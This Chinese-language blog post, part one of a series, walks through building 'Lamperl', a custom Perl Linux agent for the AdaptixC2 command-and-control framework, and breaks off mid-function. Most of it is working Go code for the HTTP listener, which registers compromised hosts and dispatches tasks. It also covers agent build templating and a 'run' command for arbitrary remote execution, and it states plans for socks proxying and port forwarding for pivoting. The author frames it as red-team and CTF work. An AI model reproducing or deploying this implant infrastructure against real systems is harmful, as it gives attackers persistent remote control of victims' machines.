文章总结: 本文介绍了使用Perl为AdaptixC2框架开发自定义AgentLamperl的过程。内容涵盖项目结构搭建、JSON通信协议设计、Go实现HTTP监听器及Perl编写具备beacon与命令执行能力的Agent。作者实现了pwd、cd及run等基础功能,提供了完整代码与配置,为后续扩展文件传输及socks代理奠定基础。 综合评分: 89 文章分类: 红队,安全开发,实战经验,安全工具,内网渗透
从 Perlyite 到 Lamperl:用 Perl 构建自定义 Adaptix C2 Agent (第 1 篇)
Polar
securitainment
2025年12月30日 12:50 中国香港
前段时间,我读到一篇博客,详细讲解了 PaperShell agent 的创建过程,于是立刻萌生了自己写一个自定义 C2 agent 的想法。
https://teletype.in/@magnummalum/adaptixc2-create-agent
https://github.com/ArturLukianov/PaperShell
https://github.com/Adaptix-Framework/AdaptixC2
于是 Perlyite 诞生了:一个用 Perl 编写的 Linux agent。之所以选择 Perl,是因为它在 Linux 系统上极为常见,几乎所有主流发行版以及不少小型发行版都默认安装。在项目规划阶段,我先列出了几个核心需求。
首先,因为我经常参加 CTF,socks proxy (允许将流量通过被攻陷主机进行隧道转发) 是刚需。同样,lportfwd和 rportfwd(用于网络 pivoting 的本地与远程端口转发能力) 也必不可少。此前我还用 memfd (Linux 中用于创建内存文件描述符的特性) 配合 Python 做过把二进制加载到内存中的实验,因此也希望把这一能力做进来。
虽然这些目标都实现了,但我对最终效果并不满意,于是决定重新开始。
项目目标
接下来就是 Lamperl。本项目的核心目标是用 Perl 编写一个自定义的 Adaptix agent,并完整记录整个开发过程。这一次,我希望在可行范围内尽量用上 Adaptix 所支持的功能:
- Socks proxy
- Rportfwd
- Lportfwd
- 上传
- 下载
- Job/Task 处理
- 进程查看器
- 文件系统查看器
以及可能还会有:
- 远程终端
在本系列的第一篇里,我们先搭建 listener 基础设施,再构建一个具备基本功能的 agent。
搭建项目结构
先克隆 Adaptix 模板仓库,并按 readme 中的说明完成初始化:
Adaptix-Framework/templates-extender
项目命名为 Lamperl(“Lamprey”与“Perl”的混成词),因此后续命名都以此为准。下面是 listener 与 agent 两个组件的配置文件:
监听器 config.json:
{
"extender_type": "listener",
"extender_file": "lamperl_http.so",
"ax_file": "ax_config.axs",
"listener_name": "LamperlHTTP",
"listener_type": "external",
"protocol": "http"
}
代理 config.json:
{
"extender_type": "agent",
"extender_file": "lamperl_agent.so",
"ax_file": "ax_config.axs",
"agent_name": "Lamperl",
"agent_watermark": "6c616d70",
"listeners": [ "LamperlHTTP"]
}
重要说明:两个配置文件中的 listener 名称必须完全一致;agent watermark 必须是小写十六进制。watermark 是该 agent 类型在 C2 基础设施中的唯一标识,teamserver 依此区分不同的 agent 家族。
因为要实现 HTTP listener,还需要新增一个 pl_http.go文件来承载协议逻辑。最终的项目结构如下:
Lamperl/
├── lamperl_agent/
│ ├── config.json
│ ├── ax_config.axs
│ ├── pl_main.go
│ ├── pl_agent.go
│ ├── go.mod
│ ├── Makefile
│ └── src_lamperl/
│ └── lamperl.pl
└── lamperl_listener_http/
├── config.json
├── ax_config.axs
├── pl_main.go
├── pl_listener.go
├── pl_http.go
├── go.mod
└── Makefile
依赖管理
要让 Adaptix server 正确加载监听器,需要指定正确的库版本。做法很简单:从任意一个原生 Adaptix listener (例如 beacon_listener_http) 复制 go.mod内容到你的项目中即可。以我为例,依赖如下:
go1.24.4
require (
github.com/Adaptix-Framework/axc2 v0.9.0
github.com/gin-gonic/gin v1.11.0
)
require (
github.com/bytedance/gopkg v0.1.3// indirect
github.com/bytedance/sonic v1.14.1// indirect
github.com/bytedance/sonic/loader v0.3.0// indirect
github.com/cloudwego/base64x v0.1.6// indirect
github.com/gabriel-vasile/mimetype v1.4.10// indirect
github.com/gin-contrib/sse v1.1.0// indirect
github.com/go-playground/locales v0.14.1// indirect
github.com/go-playground/universal-translator v0.18.1// indirect
github.com/go-playground/validator/v10 v10.27.0// indirect
github.com/goccy/go-json v0.10.5// indirect
github.com/goccy/go-yaml v1.18.0// indirect
github.com/json-iterator/go v1.1.12// indirect
github.com/klauspost/cpuid/v2 v2.3.0// indirect
github.com/leodido/go-urn v1.4.0// indirect
github.com/mattn/go-isatty v0.0.20// indirect
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
github.com/modern-go/reflect2 v1.0.2// indirect
github.com/pelletier/go-toml/v2 v2.2.4// indirect
github.com/quic-go/qpack v0.5.1// indirect
github.com/quic-go/quic-go v0.54.1// indirect
github.com/twitchyliquid64/golang-asm v0.15.1// indirect
github.com/ugorji/go/codec v1.3.0// indirect
go.uber.org/mock v0.6.0// indirect
golang.org/x/arch v0.21.0// indirect
golang.org/x/crypto v0.42.0// indirect
golang.org/x/mod v0.28.0// indirect
golang.org/x/net v0.44.0// indirect
golang.org/x/sync v0.17.0// indirect
golang.org/x/sys v0.36.0// indirect
golang.org/x/text v0.29.0// indirect
golang.org/x/tools v0.37.0// indirect
google.golang.org/protobuf v1.36.10// indirect
)
添加 go.mod后,加载模块:
go mod tidy
然后我们需要告诉 Adaptix 加载我们的扩展。
编辑 AdaptixC2/profile.json,添加:
"extenders": [
"extenders/lamperl_listener_http/config.json",
"extenders/lamperl_agent/config.json"
]
扩展编译完成后,将 lamperl_listener_http/dist目录复制到 AdaptixC2/extenders/lamperl_listener_http。
同样地,把 lamperl_agent/dist目录复制到 AdaptixC2/extenders/lamperl_agent。
设计通信协议
基础结构搭好之后,就该设计 agent 与 listener 之间的通信方式了。我选择用 JSON 作为通信协议,因为它可读性强,也便于调试。下面是我们将使用的消息格式示例:
初始连接:
{
"beat": "6c616d70432620e651",
"init": {
"domain": "",
"hostname": "Strike",
"internal_ip": "192.168.50.138",
"jitter": 10,
"pid": 118585,
"process": "generated.pl",
"sleep": 5,
"username": "trigger"
}
}
beat字段由 8 字符的 agent watermark 与 10 字符随机生成的 agent ID 拼接而成,总长 18 字符,用于唯一标识该 agent 实例。
心跳:
{
"beat":"6c616d70a263098250"
}
任务:
{
"tasks":[
{
"command":"pwd",
"task_id":"03dd5c23"
}
]
}
响应:
{
"results": [
{
"output": "{\"path\":\"/home/trigger/Lamperl/lamperl_agent/src_lamperl\",\"command\":\"pwd\"}",
"task_id": "917128a0"
}
],
"beat": "6c616d70a263098250"
}
构建监听器
pl_listener.go
我们先从 pl_listener.go中的 HandlerListenerValid函数开始。它负责为 listener 创建把关:校验通过 UI 提交的 JSON 配置,检查必填字段与基本语义,并在配置无效时返回清晰的错误信息。
// HandlerListenerValid validates listener configuration before creation.
// Called by Adaptix when user submits the listener creation form.
// Checks that all required fields are present and valid.
// Returns error if validation fails, nil if configuration is valid.
func (m *ModuleExtender) HandlerListenerValid(data string) error {
/// START CODE HERE
var conf HTTPConfig
err:= json.Unmarshal([]byte(data), &conf)
if err !=nil {
return err
}
if conf.HostBind =="" {
return errors.New("host_bind is required")
}
if conf.PortBind <1|| conf.PortBind >65535 {
return errors.New("port_bind must be in range 1-65535")
}
if conf.CallbackAddress =="" {
return errors.New("callback_address is required")
}
if conf.ApiPath =="" {
return errors.New("api_path is required")
}
/// END CODE
returnnil
}
这一步能把畸形或不完整的配置拦在运行期之外,让问题在部署早期就暴露出来。
监听器 ax_config.axs
验证通过后,就可以编写 ax_config.axs文件。它定义了操作员在 UI 中创建新监听器时需要填写的表单:
function ListenerUI(mode_create)
{
// Host selector
let labelHost= form.create_label("Host & port (Bind):");
let comboHostBind= form.create_combo();
comboHostBind.setEnabled(mode_create)
comboHostBind.clear();
let addrs= ax.interfaces();
for (let item of addrs) { comboHostBind.addItem(item); }
// Port selector
let spinPortBind= form.create_spin();
spinPortBind.setRange(1, 65535);
spinPortBind.setValue(8080);
spinPortBind.setEnabled(mode_create)
// Callback selector
let labelCallback= form.create_label("Callback address:");
let textCallback= form.create_textline();
textCallback.setPlaceholder("192.168.1.1:8080");
// API path selector
let labelApiPath= form.create_label("API path:");
let textApiPath= form.create_textline();
textApiPath.setPlaceholder("/api/v2/query");
// Build container
let container= form.create_container();
container.put("host_bind", comboHostBind);
container.put("port_bind", spinPortBind);
container.put("callback_address", textCallback);
container.put("api_path", textApiPath);
// Add layout and spacers
let layout= form.create_gridlayout();
let spacer1= form.create_vspacer();
let spacer2= form.create_vspacer();
// Add widgets to the layout
layout.addWidget(spacer1, 0, 0, 1, 2);
layout.addWidget(labelHost, 1, 0, 1, 2);
layout.addWidget(comboHostBind, 2, 0, 1, 1);
layout.addWidget(spinPortBind, 2, 1, 1, 1);
layout.addWidget(labelCallback, 3, 0, 1, 2);
layout.addWidget(textCallback, 4, 0, 1, 2);
layout.addWidget(labelApiPath, 5, 0, 1, 2);
layout.addWidget(textApiPath, 6, 0, 1, 2);
layout.addWidget(spacer2, 7, 0, 1, 2);
let panel= form.create_panel();
panel.setLayout(layout);
return {
ui_panel: panel,
ui_container: container
}
}
该表单会收集四个关键值:host_bind、port_bind、callback_address和 api_path。对应的 UI 如下:
回到 pl_listener.go
接下来实现 HandlerCreateListenerDataAndStart:它基于 UI 提交的 JSON 配置,初始化、启动并注册一个新的 HTTP listener 实例。该函数会同时返回给 Adaptix UI 展示用的元数据,以及可持久化的配置,便于后续重启复用。
// HandlerCreateListenerDataAndStart creates and starts a new listener instance.
// This is the main initialization function called when a listener is created.
// Parameters:
// - name: Unique identifier for this listener instance
// - configData: JSON-encoded configuration from the UI
// - listenerCustomData: Optional custom data from previous session (unused)
//
// Returns:
// - ListenerData: Metadata for Adaptix UI (bind address, port, status)
// - customData: Serialized config to persist across restarts
// - listenerObject: The actual HTTP server instance
// - error: If initialization or startup fails
func (m *ModuleExtender) HandlerCreateListenerDataAndStart(name string, configData string, listenerCustomData []byte) (adaptix.ListenerData, []byte, any, error) {
var (
listenerData adaptix.ListenerData
customdData []byte
)
/// START CODE HERE
var (
listener *HTTP
conf HTTPConfig
err error
)
err= json.Unmarshal([]byte(configData), &conf)
if err !=nil {
return listenerData, customdData, nil, err
}
listener=&HTTP{
Config: conf,
Name: name,
Active: false,
}
err= listener.Start(ModuleObject.ts)
if err !=nil {
return listenerData, customdData, nil, err
}
listenerData= adaptix.ListenerData{
BindHost: conf.HostBind,
BindPort: fmt.Sprintf("%d", conf.PortBind),
AgentAddr: conf.CallbackAddress,
Status: "Listen",
}
// Save config to customData
var buffer bytes.Buffer
err= json.NewEncoder(&buffer).Encode(conf)
if err !=nil {
return listenerData, customdData, nil, err
}
customdData= buffer.Bytes()
/// END CODE
return listenerData, customdData, listener, nil
}
执行流程很直接:
- 将
configData反序列化为HTTPConfig结构体 - 用给定的名称与配置构造一个 HTTP listener 对象
- 调用
listener.Start(ModuleObject.ts)进行 bind 并启动服务 - 构造
adaptix.ListenerData,包含 bind 地址、端口、agent 回连地址与状态 - 将配置重新编码为字节 (
customData),用于跨重启持久化 - 返回所有组件以及过程中遇到的错误
接着实现 HandlerListenerStop,用于优雅地关闭正在运行的监听器:
// HandlerListenerStop gracefully shuts down a running listener.
// Called when user stops a listener from the Adaptix UI.
// Parameters:
// - name: Listener identifier (unused in this implementation)
// - listenerObject: The HTTP server instance to stop
//
// Returns: true if stopped successfully, false and error otherwise
func (m *ModuleExtender) HandlerListenerStop(name string, listenerObject any) (bool, error) {
var (
err error=nil
ok bool=false
)
/// START CODE HERE
listener, valid:= listenerObject.(*HTTP)
if!valid {
returnfalse, errors.New("invalid listener object")
}
err= listener.Stop()
if err !=nil {
returnfalse, err
}
ok=true
/// END CODE
return ok, err
}
该实现与 beacon agent 的做法完全一致,足以满足我们的需求。
HandlerListenerGetProfile函数会以 JSON 格式把 listener 的当前配置返回给 Adaptix UI,用于展示 listener 详情,或为 agent 生成选项提供参数:
// HandlerListenerGetProfile returns the listener's current configuration.
// Called when displaying listener details or populating agent generation dropdowns.
// Parameters:
// - name: Listener identifier to retrieve config for
// - listenerObject: The HTTP server instance
//
// Returns: JSON-encoded configuration and true if successful
func (m *ModuleExtender) HandlerListenerGetProfile(name string, listenerObject any) ([]byte, bool) {
var (
object bytes.Buffer
ok bool=false
)
/// START CODE HERE
listener, valid:= listenerObject.(*HTTP)
if!valid || listener.Name != name {
return object.Bytes(), false
}
_= json.NewEncoder(&object).Encode(listener.Config)
ok=true
/// END CODE
return object.Bytes(), ok
}
同理,这里也可以直接复用 beacon agent 的实现。
我们暂时跳过 HandlerEditListenerData:当前 agent 还不够复杂,运行时修改配置带来的收益不大:
// HandlerEditListenerData updates an existing listener's configuration.
// Currently unimplemented - listener must be stopped and recreated to change config.
func (m *ModuleExtender) HandlerEditListenerData(name string, listenerObject any, configData string) (adaptix.ListenerData, []byte, bool) {
var (
listenerData adaptix.ListenerData
customdData []byte
ok bool=false
)
/// START CODE HERE
/// END CODE
return listenerData, customdData, ok
}
构建 HTTP 协议处理器
pl_http.go
完成 pl_listener.go后,我们继续处理 pl_http.go,在这里实现真正的 HTTP 协议处理逻辑。首先定义相关数据结构:
// HTTPConfig holds configuration for the HTTP listener.
// These values come from the UI form defined in ax_config.axs.
type HTTPConfig struct {
HostBind string`json:"host_bind"`
PortBind int`json:"port_bind"`
CallbackAddress string`json:"callback_address"`
ApiPath string`json:"api_path"`
}
// HTTP represents an HTTP listener instance.
// Manages the Gin web server and handles agent communication.
type HTTP struct {
GinEngine *gin.Engine
Server *http.Server
Config HTTPConfig
Name string
Active bool
}
// AgentRequest represents the JSON structure sent by agents.
// Beat: 18-char string (8-char watermark + 10-char agent ID)
// Init: System information sent only on first check-in
// Results: Array of task execution results from previous beacon
type AgentRequest struct {
Beat string`json:"beat"`
Init map[string]interface{} `json:"init,omitempty"`
Results []map[string]interface{} `json:"results,omitempty"`
}
HTTPConfig结构体包含与验证函数和 UI 表单中一致的字段。HTTP结构体表示一个正在运行的 listener 实例;AgentRequest则定义了 agent 发来的消息结构。
Start函数会初始化 Gin router、注册 API endpoint、创建 HTTP server,并在非阻塞的 goroutine 中启动:
// Start initializes and launches the HTTP server.
// Creates a Gin router, registers the API endpoint, and starts listening.
// The server runs in a goroutine to avoid blocking.
func (handler *HTTP) Start(ts Teamserver) error {
gin.SetMode(gin.ReleaseMode)
router:= gin.New()
// Register the API endpoint
router.POST(handler.Config.ApiPath, func(c *gin.Context) {
handler.processRequest(c, ts)
})
handler.Active=true
handler.Server=&http.Server{
Addr: fmt.Sprintf("%s:%d", handler.Config.HostBind, handler.Config.PortBind),
Handler: router,
}
fmt.Printf("[Lamperl_Listener] Started listener: http://%s:%d%s\n",
handler.Config.HostBind, handler.Config.PortBind, handler.Config.ApiPath)
gofunc() {
err:= handler.Server.ListenAndServe()
if err !=nil&&!errors.Is(err, http.ErrServerClosed) {
fmt.Printf("Error starting HTTP server: %v\n", err)
return
}
}()
time.Sleep(500* time.Millisecond)
returnnil
}
对应的 Stop函数负责优雅关闭:
// Stop gracefully shuts down the HTTP server.
// Waits up to 3 seconds for existing connections to complete.
func (handler *HTTP) Stop() error {
ctx, cancel:= context.WithTimeout(context.Background(), 3*time.Second)
defercancel()
return handler.Server.Shutdown(ctx)
}
监听器的核心是 processRequest函数,它处理所有 agent 发来的 beacon、初始 check-in 以及结果交换:
// processRequest handles incoming agent beacons.
// This is the core request handler that:
// 1. Parses the JSON request to extract beat, init data, and results
// 2. Creates new agents on first check-in
// 3. Processes task results from the agent
// 4. Returns pending tasks for the agent to execute
func (handler *HTTP) processRequest(ctx *gin.Context, ts Teamserver) {
var (
externalIP string
agentType string
agentId string
beat []byte
bodyData []byte
responseData []byte
err error
)
fmt.Printf("[LISTENER] Received request from %s to %s\n", ctx.Request.RemoteAddr, ctx.Request.URL.Path)
fmt.Printf("[LISTENER] Method: %s, Content-Type: %s\n", ctx.Request.Method, ctx.Request.Header.Get("Content-Type"))
// Get agent's IP
externalIP= strings.Split(ctx.Request.RemoteAddr, ":")[0]
// Parse the request
agentType, agentId, beat, bodyData, err= handler.parseRequest(ctx)
if err !=nil {
fmt.Printf("[LISTENER ERROR] Failed to parse request: %v\n", err)
ctx.Writer.WriteHeader(http.StatusNotFound)
return
}
fmt.Printf("[LISTENER] Parsed - AgentType: %s, AgentID: %s, Beat len: %d, Body len: %d\n",
agentType, agentId, len(beat), len(bodyData))
// Create agent if doesn't exist
if!ModuleObject.ts.TsAgentIsExists(agentId) {
fmt.Printf("[LISTENER] Creating new agent: %s\n", agentId)
_, err= ModuleObject.ts.TsAgentCreate(agentType, agentId, beat, handler.Name, externalIP, true)
if err !=nil {
fmt.Printf("[LISTENER ERROR] Failed to create agent: %v\n", err)
ctx.Writer.WriteHeader(http.StatusNotFound)
return
}
fmt.Printf("[LISTENER] Agent created successfully\n")
} else {
fmt.Printf("[LISTENER] Agent %s already exists\n", agentId)
}
// Update agent's last check-in time
_= ModuleObject.ts.TsAgentSetTick(agentId)
// Process agent data (task results)
fmt.Printf("[LISTENER] Processing agent data...\n")
_= ModuleObject.ts.TsAgentProcessData(agentId, bodyData)
// Get tasks for agent
fmt.Printf("[LISTENER] Getting tasks for agent...\n")
responseData, err= ModuleObject.ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 MB
if err !=nil {
fmt.Printf("[LISTENER ERROR] Failed to get tasks: %v\n", err)
ctx.Writer.WriteHeader(http.StatusNotFound)
return
}
fmt.Printf("[LISTENER] Sending response: %d bytes\n", len(responseData))
// Send response
ctx.Writer.Header().Set("Content-Type", "application/json")
_, err= ctx.Writer.Write(responseData)
if err !=nil {
fmt.Printf("[LISTENER ERROR] Failed to write response: %v\n", err)
ctx.Writer.WriteHeader(http.StatusNotFound)
return
}
ctx.AbortWithStatus(http.StatusOK)
fmt.Printf("[LISTENER] Request completed successfully\n")
}
该函数串起了完整的请求/响应流程:
- 记录请求元数据并提取客户端 IP
- 调用
parseRequest校验并提取 watermark、agent ID、beat/init 数据以及 body - 首次 check-in 时创建新 agent (如果尚不存在),并更新其 last-seen 时间戳
- 处理 agent 上报的数据 (任务结果)
- 向 teamserver 查询待下发任务
- 将 JSON 响应写回给 agent
最后实现 parseRequest,用于解析并规范化 agent 发来的 POST payload:
// parseRequest extracts and validates data from an agent's HTTP request.
// Parses the JSON body and separates the beat into watermark and agent ID.
// Returns:
// - watermark: 8-character hex identifier for agent type
// - agentId: 10-character hex unique agent instance ID
// - beat: Initial check-in data (JSON) or empty for regular beacons
// - bodyData: Task results (JSON) or empty array
// - error: If parsing fails or format is invalid
func (handler *HTTP) parseRequest(ctx *gin.Context) (string, string, []byte, []byte, error) {
// Read POST body
bodyData, err:= io.ReadAll(ctx.Request.Body)
if err !=nil {
return"", "", nil, nil, fmt.Errorf("failed to read request body: %v", err)
}
fmt.Printf("[PARSE] Raw body (%d bytes): %s\n", len(bodyData), string(bodyData))
// Parse JSON
var req AgentRequest
err= json.Unmarshal(bodyData, &req)
if err !=nil {
return"", "", nil, nil, fmt.Errorf("failed to parse JSON: %v", err)
}
fmt.Printf("[PARSE] Beat from JSON: %s (len=%d)\n", req.Beat, len(req.Beat))
// Parse beat: watermark (8 hex chars) + agent_id (10 hex chars) = 18 chars total
iflen(req.Beat) !=18 {
return"", "", nil, nil, fmt.Errorf("invalid beat format: expected 18 chars, got %d", len(req.Beat))
}
watermark:= req.Beat[:8]
agentIdHex:= req.Beat[8:]
// The "beat" parameter is what gets passed to CreateAgent - it should be the init data for first checkin
var beat []byte
var agentData []byte
if req.Init !=nil {
// Initial check-in - encode init data as JSON for both beat and agentData
beat, err= json.Marshal(req.Init)
if err !=nil {
return"", "", nil, nil, errors.New("failed to encode init data")
}
agentData= beat // Same data for initial checkin
} elseif req.Results !=nil {
// Regular beacon - encode results as JSON
beat= []byte{} // Empty beat for regular checkins
agentData, err= json.Marshal(req.Results)
if err !=nil {
return"", "", nil, nil, errors.New("failed to encode results")
}
} else {
// Empty beacon
beat= []byte{}
agentData= []byte("[]")
}
return watermark, agentIdHex, beat, agentData, nil
}
解析流程分三种情况:
- 读取整个 POST body
- 反序列化为
AgentRequest - 校验 beat 长度 (18 字符:8 字符 watermark + 10 字符 agent ID)
- 若存在
Init:将其序列化到beat与agentData(初始 check-in) - 若存在
Results:将其序列化到agentData,同时beat置空 (常规 check-in) - 若两者都不存在:返回空
beat与[]作为agentData(空 beacon)
至此,监听器部分就完成了:在 lamperl_listener_http目录运行 make即可构建。下一步是完善 agent 模块。
构建代理模块
pl_agent.go
监听器基础设施完成后,我们就可以把注意力转向 agent 模块。首先定义一些用于从 map 中提取值的辅助函数:
// getString is a helper function to safely extract string values from a map.
// Returns empty string if key doesn't exist or value is not a string.
funcgetString(m map[string]interface{}, key string) string {
ifval, ok:= m[key].(string); ok {
return val
}
return""
}
// getInt is a helper function to safely extract integer values from a map.
// Handles both float64 (JSON default for numbers) and int types.
// Returns 0 if key doesn't exist or value cannot be converted.
funcgetInt(m map[string]interface{}, key string) int {
ifval, ok:= m[key].(float64); ok {
returnint(val)
}
ifval, ok:= m[key].(int); ok {
return val
}
return0
}
接着实现 AgentGenerateProfile,它会提取 agent 生成阶段所需的监听器配置:
// GenerateConfig holds configuration data for agent generation.
// Currently empty as agent_id is generated at runtime by the agent itself,
// not during the build process. This ensures each agent instance has a unique ID.
type GenerateConfig struct {
}
// AgentGenerateProfile extracts listener configuration needed for agent generation.
// This function is called during agent build to gather connection parameters.
// Parameters:
// - agentConfig: JSON string with agent-specific configuration (currently unused)
// - listenerWM: Listener watermark (currently unused)
// - listenerMap: Map containing listener configuration (callback_address, api_path, etc.)
//
// Returns: JSON-encoded profile data containing callback_addr and api_path
funcAgentGenerateProfile(agentConfig string, listenerWM string, listenerMap map[string]any) ([]byte, error) {
var (
generateConfig GenerateConfig
err error
)
err= json.Unmarshal([]byte(agentConfig), &generateConfig)
if err !=nil {
returnnil, err
}
/// START CODE HERE
// Extract callback address and API path from listener
callbackAddr, ok:= listenerMap["callback_address"].(string)
if!ok {
returnnil, errors.New("callback_address not found in listener map")
}
apiPath, ok:= listenerMap["api_path"].(string)
if!ok {
returnnil, errors.New("api_path not found in listener map")
}
// Agent generates its own ID at runtime - no need to include in profile
profileData:=map[string]string{
"callback_addr": callbackAddr,
"api_path": apiPath,
}
profileBytes, err:= json.Marshal(profileData)
if err !=nil {
returnnil, err
}
/// END CODE HERE
return profileBytes, nil
}
该函数会反序列化 agent config,从 listener map 中提取 callback_address与 api_path,并将其打包为 JSON profile,用于 agent 构建阶段。
AgentGenerateBuild函数通过把 Perl 模板中的占位符替换为实际配置值,从而生成可部署的 agent:
// AgentGenerateBuild creates a deployable agent by replacing placeholders in the template.
// This function reads the Perl agent template and injects configuration values.
// Parameters:
// - agentConfig: JSON string with agent-specific configuration
// - agentProfile: JSON-encoded profile data from AgentGenerateProfile
// - listenerMap: Map containing listener configuration
//
// Returns:
// - Agent file content (Perl script with placeholders replaced)
// - Filename for the generated agent
// - Error if any step fails
funcAgentGenerateBuild(agentConfig string, agentProfile []byte, listenerMap map[string]any) ([]byte, string, error) {
var (
Filename string
buildContent []byte
)
/// START CODE HERE
// Parse profile
var profile map[string]string
err:= json.Unmarshal(agentProfile, &profile)
if err !=nil {
returnnil, "", err
}
callbackAddr:= profile["callback_addr"]
apiPath:= profile["api_path"]
// Parse callback address
host, port, err:= net.SplitHostPort(strings.TrimPrefix(strings.TrimPrefix(callbackAddr, "http://"), "https://"))
if err !=nil {
returnnil, "", fmt.Errorf("invalid callback address: %v", err)
}
// Read agent template
currentDir:= ModuleDir
Filename="lamperl.pl"
agentContentBytes, err:= os.ReadFile(currentDir +"/src_lamperl/lamperl.pl")
if err !=nil {
returnnil, "", err
}
agentContent:=string(agentContentBytes)
// Replace placeholders (agent generates its own ID at runtime)
agentContent= strings.ReplaceAll(agentContent, "<CALLBACK_HOST>", host)
agentContent= strings.ReplaceAll(agentContent, "<CALLBACK_PORT>", port)
agentContent= strings.ReplaceAll(agentContent, "<CALLBACK_PATH>", apiPath)
agentContent= strings.ReplaceAll(agentContent, "<WATERMARK>", AgentWatermark)
buildContent= []byte(agentContent)
/// END CODE HERE
return buildContent, Filename, nil
}
这就是我们在右键菜单中选择“Generate”时实际执行的构建逻辑。它会:
- 解析
agentProfile以提取callback_addr与api_path - 将 callback address 拆分为 host 与 port
- 从
src_lamperl/lamperl.pl读取 Perl 模板 - 替换占位符:
<CALLBACK_HOST>、<CALLBACK_PORT>、<CALLBACK_PATH>、<WATERMARK> - 返回修改后的脚本字节内容以及文件名
有了生成相关函数后,我们就可以实现 CreateAgent:它解析初始 beacon 数据,并在 C2 中注册一个新的 agent:
// CreateAgent parses initial beacon data and populates agent metadata.
// Called when an agent checks in for the first time to register it in the C2.
// Parameters:
// - initialData: JSON-encoded system information from the agent's first beacon
//
// Returns: Populated AgentData struct with system info, sleep/jitter settings, etc.
funcCreateAgent(initialData []byte) (adaptix.AgentData, error) {
var agentData adaptix.AgentData
/// START CODE HERE
var initData map[string]interface{}
err:= json.Unmarshal(initialData, &initData)
if err !=nil {
return agentData, err
}
// Extract agent information
agentData.Computer=getString(initData, "hostname")
agentData.Username=getString(initData, "username")
agentData.Domain=getString(initData, "domain")
agentData.InternalIP=getString(initData, "internal_ip")
agentData.Process=getString(initData, "process")
agentData.Pid= fmt.Sprintf("%d", getInt(initData, "pid"))
agentData.Sleep=uint(getInt(initData, "sleep"))
agentData.Jitter=uint(getInt(initData, "jitter"))
agentData.Os= OS_LINUX
// No encryption for now
agentData.SessionKey= []byte("NULL")
/// END CODE
return agentData, nil
}
该函数的流程很清晰:把 JSON 反序列化为 map,提取系统信息 (hostname、username、domain、internal IP、process name、PID),提取运行参数 (sleep 与 jitter),将 OS 类型设为 Linux,并把 session key 初始化为“NULL” (加密会在后续版本实现)。
任务处理
现在我们需要处理双向的任务流。PackTasks函数会把 Adaptix 内部的任务结构转换为我们的 Perl agent 所期望的 JSON 格式:
/// TASKS
// PackTasks converts Adaptix TaskData array into agent-consumable JSON format.
// Called when the agent checks in to send pending tasks for execution.
// Parameters:
// - agentData: Agent metadata (unused but required by interface)
// - tasksArray: Array of tasks to send to the agent
//
// Returns: JSON-encoded response with tasks array, each containing task_id and command data
funcPackTasks(agentData adaptix.AgentData, tasksArray []adaptix.TaskData) ([]byte, error) {
var packData []byte
/// START CODE HERE
var tasks []map[string]interface{}
for_, task:=range tasksArray {
var taskMap map[string]interface{}
err:= json.Unmarshal(task.Data, &taskMap)
if err !=nil {
continue
}
taskMap["task_id"] = task.TaskId
tasks=append(tasks, taskMap)
}
response:=map[string]interface{}{
"tasks": tasks,
}
packData, err:= json.Marshal(response)
if err !=nil {
returnnil, err
}
/// END CODE
return packData, nil
}
该函数遍历每个任务,将其 data 反序列化为 map,加入 task ID,然后把所有内容封装到一个 response 对象中,最后序列化为 JSON。
CreateTask函数负责 operator-to-agent 方向:把控制台命令转换为任务结构。在这个初始版本中,我们实现三个命令:pwd、cd和 run:
// CreateTask converts user input from the UI into a task for the agent.
// Called when an operator executes a command in the Adaptix console.
// Parameters:
// - ts: Teamserver interface for C2 operations
// - agent: Agent metadata
// - args: Map containing command name and parameters from UI
//
// Returns:
// - TaskData: Serialized task to send to agent
// - ConsoleMessageData: Message to display in operator's console
// - Error if command is invalid or parameters are missing
funcCreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
var (
taskData adaptix.TaskData
messageData adaptix.ConsoleMessageData
err error
)
//command, ok := args["command"].(string)
//if !ok {
// return taskData, messageData, errors.New("'command' must be set")
//}
//subcommand, _ := args["subcommand"].(string)
taskData= adaptix.TaskData{
Type: TYPE_TASK,
Sync: true,
}
messageData= adaptix.ConsoleMessageData{
Status: MESSAGE_INFO,
Text: "",
}
messageData.Message, _= args["message"].(string)
/// START CODE HERE
command, ok:= args["command"].(string)
if!ok {
return taskData, messageData, errors.New("'command' must be set")
}
commandData:=make(map[string]interface{})
commandData["command"] = command
switch command {
case"pwd":
// No additional parameters needed
case"cd":
path, ok:= args["path"].(string)
if!ok {
err= errors.New("parameter 'path' must be set")
return taskData, messageData, err
}
commandData["path"] = path
case"run":
executable, ok:= args["executable"].(string)
if!ok {
err= errors.New("parameter 'executable' must be set")
return taskData, messageData, err
}
commandData["executable"] = executable
ifcmdArgs, ok:= args["args"].(string); ok {
commandData["args"] = cmdArgs
}
default:
err= fmt.Errorf("unknown command: %s", command)
return taskData, messageData, err
}
taskData.Data, err= json.Marshal(commandData)
if err !=nil {
return taskData, messageData, err
}
/// END CODE
return taskData, messageData, err
}
该函数从 args map 中提取命令名,然后按命令类型构造 commandData:pwd不需要额外参数,cd需要 path,run需要 executable 以及可选 args。随后将其序列化为 JSON,并写入 taskData.Data。
这三个命令为测试提供了坚实基础:文件系统导航 (pwd、cd) 加上任意命令执行 (run),足以覆盖验证整个任务流所需的关键操作。
最后,ProcessTasksResult负责 agent-to-operator 方向:解析任务结果并格式化为控制台输出:
// ProcessTasksResult parses agent task responses and displays formatted output.
// Called when agent sends back task execution results.
// Parameters:
// - ts: Teamserver interface for console output
// - agentData: Agent metadata
// - taskData: Original task data (unused but required by interface)
// - packedData: JSON-encoded array of task results from agent
//
// Returns: Array of additional tasks to queue (currently always empty)
funcProcessTasksResult(ts Teamserver, agentData adaptix.AgentData, taskData adaptix.TaskData, packedData []byte) []adaptix.TaskData {
var outTasks []adaptix.TaskData
/// START CODE
// Parse results array
var results []map[string]interface{}
err:= json.Unmarshal(packedData, &results)
if err !=nil {
return outTasks
}
// Process each result
for_, result:=range results {
_=getString(result, "task_id")
output:=getString(result, "output")
// Parse the output JSON to format it nicely
var outputData map[string]interface{}
err:= json.Unmarshal([]byte(output), &outputData)
if err !=nil {
// If parsing fails, just show raw output
continue
}
command:=getString(outputData, "command")
// Format output for console display
var consoleOutput string
switch command {
case"pwd":
path:=getString(outputData, "path")
consoleOutput= fmt.Sprintf("Current directory: %s", path)
case"cd":
iferrMsg:=getString(outputData, "error"); errMsg !="" {
